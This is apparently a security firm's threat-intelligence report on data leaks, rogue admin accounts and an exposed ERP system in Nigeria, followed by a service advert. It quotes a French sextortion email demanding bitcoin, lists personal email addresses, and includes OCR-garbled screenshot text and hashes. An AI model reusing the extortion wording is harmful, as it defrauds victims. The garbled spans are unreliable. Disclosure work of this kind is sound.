arjunrk2031@gmail.com log - SHA256 0c605b12dee14be192f6a81ac46a8bfbcd11aa8979d5e894ba03ae1891f90359 10.php - SHA256 lf2d1cb13aa7c439886da0217e7ea81f70282ff07584195db2baaa7e05590bc9 https://www.virustotal.com/gui/file/1f2d1cb13aa7c439886da0217e7ea81f70282ff07584195db 2baaa7e05590bc9/detection 185.125.188.58:443 (TCP) 185.125.188.59:443 (TCP) 91.189.91.43:443 (TCP)

Uncovering Data Leakage and Vulnerabilities

Select Threads Options Refresh	Reply Reply all Forward Delete Archive Mark More
Q Search 🖸 🗸	Details
seban1312@outlook.com 2023-01-04 07:55 ^	
SAMR+/TaplUTLOB//R 2022-0-35-15:58 = (no-mbject)	 Salut!
2022-III-34 1508 = Notifeation	Malheureusement, j'ai une mauvaise nouvelle pour vous, il y a quelques mois, j'ai eu accès à l'appareil que vous utilisez pour naviguer sur Internet. Dermie lans de communité une restauré une fotografie de context que visiteure
2022-88-04 1507 • Notification!	adulte régulier du site Web, je peux confirmer que cela relève de votre responsabilité.
3022-08-04 13:01 • 19:00featest	Pour votre commodité, les sites Web que vous avez visités m'ont donné accès à vos données. l'ai téléchargé un Nirat sur un pilote qui met à jour sa signature plusieurs fois
3022-00-34-15-00 • Rodification!	par jour afin que l'antivirus ne puisse pas le détecter. J'ai également accès à votre caméra et à votre microphone, et j'ai sauvegardé toutes vos données, y
2022-88-34 14:50 = Notification	compris les photos, les réseaux sociaux, le chat et les contacts. Récemment, j'ai eu une idée incroyable de tourner une vidéo dont vous faites partie pendant que la vidéo est en cours de lecture sur un autre écran en même temps. Soyez assuré
2022-III-34 14:54 • Notification:	que je peux envoyer cette vidéo à tous vos contacts en quelques clics, et je suppose que vous voulez éviter ce scénario, donc ma suggestion est de transférer l'équivalent de 1450 EUR sur mon portefeuille bitcoin et je l'oublierai . Je
Messanes 1 to 0 of 0 1 5 55	sunnrime également définitivement toutes les données et vidéos, ce oui à mon e

Our continuous threat intelligence operations have uncovered instances of sensitive data leakage and compromised credentials across organizations in Nigeria One of our recent findings, which had already been addressed by the time of compiling this report, involved the exposure of data of over 1,000 enrollees, as well as the discovery of compromised admin credentials and an existing XSS bug on a website. In this case, we observed the presence of unfamiliar administrative users added to the platform as far back as 2021 and 2022.

ser Aco	counts							
S/N	Username ¢	Email	¢	Role \$	Date Created	¢	Date Upd	ated \$
1	admin	inin.com		0	02-07-2019		22-11-2019	
2	user	useriliuser.com		0	2020-02-04 12:3	1:54		
3	Nisan	ahoo.com		1	2020-07-28 23:0	4:04		
4	tobi	misteranonymuse@gma	il.com	1	2021-06-17 16:41	:38		
5	tobi Anonymous	misteranonymuse@gma anonymous@anonymou	il.com s.com	1	2021-06-17 16:41 2022-05-15 08:2	:38 9:14		
4 5 nowing	tobi Anonymous 1 to 5 of 5 entries	misteranonymuse@gma anonymous@anonymou	il.com s.com	1	2021-06-17 16:41 2022-05-15 08:2	:38 9:14 Prev	ious 1	Next
4 5 Nowing	tobi Anonymous 1 to 5 of 5 entries	misteranonymuse@gma anonymous@anonymou	il.com s.com	1 1 MENTS	2021-06-17 16:41 2022-05-15 08:2 ENROLLME	:38 9:14 Prev	ious 1	Next
4 5 nowing	tobi Anonymous 1 to 5 of 5 entries	misteranonymuse@gma anonymous@anonymou 1	ILCOM S.COM NROLLIN	1 Ments	2021-06-17 16:41 2022-05-15 08:2 ENROLLME	:38 9:14 Prev NTS	ious 1	Next

exposure of data for over 1,000 enrollees

In our efforts to ensure that such issues are promptly remediated, we initially share our findings in notification emails after engaging with the technical team. This has been a consistent practice of our threat intelligence team, aimed at bolstering the resilience of organizations within Nigeria's cyber ecosystem by providing timely notifications to affected parties. Another significant discovery pertains to an exposed ERP platform, where we identified valid Personally Identifiable Information (PII) of employees and complete access to the company's payroll, attendance, and inventory. Despite our attempts to notify the affected entity on multiple occasions over a three-month period, we have been unable to establish contact since December 2022. Prior to this discovery, we believed that this exposure had persisted for over a year, raising concerns about the potential unauthorized access to the data by unknown individuals on the Internet.



Exposed ERP Dashboard

Over time, we have observed that the response of organizations in Nigeria to such notifications has been unsatisfactory, posing a continued risk to users and exposed organizational data. As of the time of writing, multiple notifications remain unanswered. However, we are open to collaborating with professional bodies, sector-specific organizations, and the National Computer Emergency Response Team (ngCERT) to address this challenge. As we currently work and support the Whitehat.NG project.

Our Cyber Threat Intelligence team leverages Human Intelligence (HUMINT) and other context-based threat intelligence products in our identification of bugs, vulnerabilities, and exposures that attackers could exploit to prepare for secondary attacks that may impact organizations. This proactive approach has enabled us to keep our clients ahead of potential threats by staying vigilant and responsive to emerging security risks.



2024 Cyber Outlook

2024 Outlook

In light of regulatory considerations, the development of cryptocurrency-related platforms is expected to increase, making them a prime target for cyber attacks and schemes for defrauding people.

Financial entities, both traditional and fintech, can anticipate continued cyberattacks as cyber adversaries actively scout their online infrastructure, as well as target onprem & cloud-based hosts and networks.

The data collection activities targeting online users are expected to persist, as threat actors continue to impersonate reputable government agencies, schemes across Africa to collect Personally Identifiable Information (PII) for use in secondary attacks.

We anticipate an increase in networkwide ransomware incidents targeting, businesses, NGOs and governmentrelated entities in Africa.





We can expect cyber threat actors to increasingly use AI to automate and improve the accuracy of cyber attacks. This will result in a rapid evolution of the threat landscape, similar to the advancements seen in generative AI tools for deep fake and phishing attacks. Cyber defenders to also leverage AI in defense, as it race for integration into security technology is on. cyber plural focus on cybersecurity

We help startups and enterprises create and manage resilient cybersecurity plans and implementation across the board while they focus on profit-making and business growth.

MSSP CyberPlural's methodology İS unique in its approach, providing the opportunity to creatively design a cybersecurity strategy and plans that provide businesses/organizations with the resiliency to scale in the evergrowing world of the Internet at a very affordable cost targeted at driving value for clients.

Do you need help with any of our cyber offerings, feel free to consult and use our services.

Our strategies and approaches are tightly structured and aim to provide the overall security required for business continuity, as our services are packed into Security Operations, CyberDemia, Threat Intelligence, Governance, Risk and Compliance (GRC), System Assessment & Audit, with Research & Development.

email

web

hello@cyberplural.com

cyberplural.com

cyberdemia

cyberdemia.cyberplural.com

blog

blog.cyberplural.com

social

